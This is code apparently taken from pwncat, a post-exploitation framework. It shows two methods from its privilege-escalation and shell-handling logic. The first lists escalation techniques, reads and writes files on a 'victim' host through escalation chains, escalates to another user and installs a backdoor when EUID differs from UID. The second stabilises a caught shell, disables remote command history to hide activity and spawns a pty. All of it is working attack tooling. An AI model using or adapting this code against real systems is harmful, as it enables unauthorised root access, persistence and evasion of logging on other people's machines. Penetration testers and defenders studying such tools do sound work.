def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def connect(self, client: socket.SocketType): # Initialize the socket connection self.client = client # We should always get a response within 3 seconds... self.client.settimeout(1) # Attempt to identify architecture self.arch = self.run("uname -m").decode("utf-8").strip() if self.arch == "amd64": self.arch = "x86_64" # Ensure history is disabled util.info("disabling remote command history", overlay=True) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') self.shell = self.run("ps -o command -p $$ | tail -n 1").decode("utf-8").strip() self.shell = self.which(self.shell.split(" ")[0]) util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}") # Locate interesting binaries # The auto-resolving doesn't work correctly until we have a pty # so, we manually resolve a list of useful binaries prior to spawning # a pty for name in Victim.INTERESTING_BINARIES: util.info( f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}", overlay=True, ) # Look for the given binary response = self.run(f"which {shlex.quote(name)}").strip() if response == b"": continue self.known_binaries[name] = response.decode("utf-8") # Now, we can resolve using `which` w/ request=False for the different # methods if self.which("python") is not None: method_cmd = Victim.OPEN_METHODS["python"].format( self.which("python"), self.shell ) method = "python" elif self.which("script") is not None: result = self.run("script --version") if b"linux" in result: method_cmd = f"exec script -qc {self.shell} /dev/null" method = "script (util-linux)" else: method_cmd = f"exec script -q /dev/null {self.shell}" method = "script (probably bsd)" method = "script" else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info( f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True ) self.run(method_cmd, wait=False) # client.sendall(method_cmd.encode("utf-8") + b"\n") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') # Make sure HISTFILE is unset in this PTY (it resets when a pty is # opened) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") # Disable automatic margins, which f**k up the prompt self.run("tput rmam") self.privesc = privesc.Finder() # Save our terminal state self.stty_saved = self.run("stty -g").decode("utf-8").strip() # The session is fully setup now self.command_parser.loaded = True # Synchronize the terminals self.command_parser.dispatch_line("sync") # Force the local TTY to enter raw mode self.state = State.RAW